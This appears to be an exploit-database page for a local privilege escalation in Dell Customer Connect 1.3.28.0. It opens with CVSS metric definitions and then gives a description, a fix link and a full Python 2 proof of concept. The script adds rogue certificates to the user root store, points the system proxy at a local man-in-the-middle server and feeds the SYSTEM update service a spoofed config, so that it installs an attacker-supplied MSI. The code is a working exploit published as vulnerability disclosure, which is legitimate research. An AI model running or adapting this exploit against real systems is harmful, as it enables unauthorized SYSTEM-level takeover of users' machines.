The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Dell Customer Connect 1.3.28.0 Privilege Escalation# Exploit Dell Customer Connect 1.3.28.0 Privilege Escalation
# Date: 25.04.2017
# Software Link: http://www.dell.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: local
1. Description
DCCService.exe is running on autostart as System.
This service has auto update functionality.
Basically it periodically checks https://otbs.azurewebsites.net looking for new config file.
Under normal conditions we cannot spoof this connection because itas SSL.
But here WebUtils.sendWebRequest() is executed using Impersonator.RunImpersonated().
RunImpersonated() executes given function in the context of currently logged in user.
In Windows system we can add any certificate to Local user root store.
Then this certificate is considered as trusted so we can perform MITM attack.
It can be done using simple proxy server because by default .NET HttpWebRequest() uses IE proxy settings (which can by set by any user without administrator priveleges).
https://security.szurek.pl/dell-customer-connect-13280-privilege-escalation.html
2. Proof of Concept
https://github.com/kacperszurek/exploits/blob/master/DellCustomerConnect/dell_customer_connect_privilege_escalation.py
from _winreg import *
from threading import Thread
import os
import subprocess
import hashlib
import SimpleHTTPServer
import SocketServer
import ssl
import httplib
import time
msi_file = "exploit.msi"
cert_file = "otbs.crt"
signing_file = "code.cer"
file_port = 5555
proxy_port = 7777
print "Dell Customer Connect 1.3.28.0 Privilege Escalation"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"
# Simpe SSL proxy based on https://code.google.com/archive/p/proxpy/
class ProxyHandler(SocketServer.StreamRequestHandler):
def __init__(self, request, client_address, server):
SocketServer.StreamRequestHandler.__init__(self, request, client_address, server)
def handle(self):
global xml
line = self.rfile.readline()
for l in self.rfile:
if l == "\r\n":
break
if "GET /api/AppConfig" in line:
conn = httplib.HTTPSConnection(self.host, self.port)
print "\n[+] Send XML to service"
self.wfile.write("HTTP/1.1 200 200\r\n\r\n"+xml)
elif "CONNECT otbs.azurewebsites.net:443" in line:
socket_ssl = ssl.wrap_socket(self.request, server_side = True, certfile = cert_file, ssl_version = ssl.PROTOCOL_SSLv23, do_handshake_on_connect = False)
self.request.send("HTTP/1.1 200 Connection Established\r\n\r\n")
host, port = self.request.getpeername()
self.host = host
self.port = port
while True:
try:
socket_ssl.do_handshake()
break
except (ssl.SSLError, IOError):
return
print "\n[+] SSL Established with otbs.azurewebsites.net"
self.request = socket_ssl
self.setup()
self.handle()
class ThreadedHTTPProxyServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
def add_to_store(name, file):
output = subprocess.Popen('certutil -user -addstore "Root" "{}"'.format(file), stdout=subprocess.PIPE).communicate()[0]
if "\"{}\" already in store".format(name) in output:
print "[+] Certificate {} already in store".format(name)
elif "\"{}\" added to store".format(name) in output:
print "[+] Add certificate {} to user root store".format(name)
else:
print "[-] You need to click OK in order to add cert to user root store"
os._exit(0)
if not os.path.isfile(cert_file):
print "[-] Missing SSL file"
os._exit(0)
if not os.path.isfile(signing_file):
print "[-] Missing code signing file"
os._exit(0)
add_to_store("otbs.azurewebsites.net", cert_file)
add_to_store("dell inc", signing_file)
def sha256_checksum(filename, block_size=65536):
sha256 = hashlib.sha256()
with open(filename, 'rb') as f:
for block in iter(lambda: f.read(block_size), b''):
sha256.update(block)
return sha256.hexdigest()
def file_server():
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", file_port), Handler)
httpd.serve_forever()
if not os.path.isfile(msi_file):
print "[-] Missing msi file"
os._exit(0)
sha256 = sha256_checksum(msi_file)
print "[+] MSI hash: {}".format(sha256)
print "[+] Set Proxy Server in registry"
key = OpenKey(HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Internet Settings', 0, KEY_ALL_ACCESS)
SetValueEx(key, "ProxyServer", 0, REG_SZ, "127.0.0.1:{}".format(proxy_port))
SetValueEx(key, "ProxyEnable", 0, REG_DWORD, 1)
CloseKey(key)
print "[+] Start file server on port {}".format(file_port)
t1 = Thread(target = file_server)
t1.daemon = True
t1.start()
xml = "<UpdateResponse xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"><LatestVersion>9.0.0.6</LatestVersion><UpgradeUrl>http://localhost:{}/{}</UpgradeUrl><UpgradeHash>{}</UpgradeHash><SurveyCheckInterval>1</SurveyCheckInterval></UpdateResponse>".format(file_port, msi_file, sha256)
print "[+] Start proxy server on port {}".format(proxy_port)
proxy_server = ThreadedHTTPProxyServer(("127.0.0.1", proxy_port), ProxyHandler)
t2 = Thread(target = proxy_server.serve_forever)
t2.daemon = True
t2.start()
log_path = r"C:\Users\All Users\Dell\Dell Customer Connect\Logs\{}_install_log.txt".format(msi_file)
print "[+] Waiting for execution ",
while True:
if os.path.isfile(log_path):
print "\n[+] Looks like msi file was executed, exiting"
os._exit(0)
time.sleep(3)
print ".",
3. Fix
http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=DR53F
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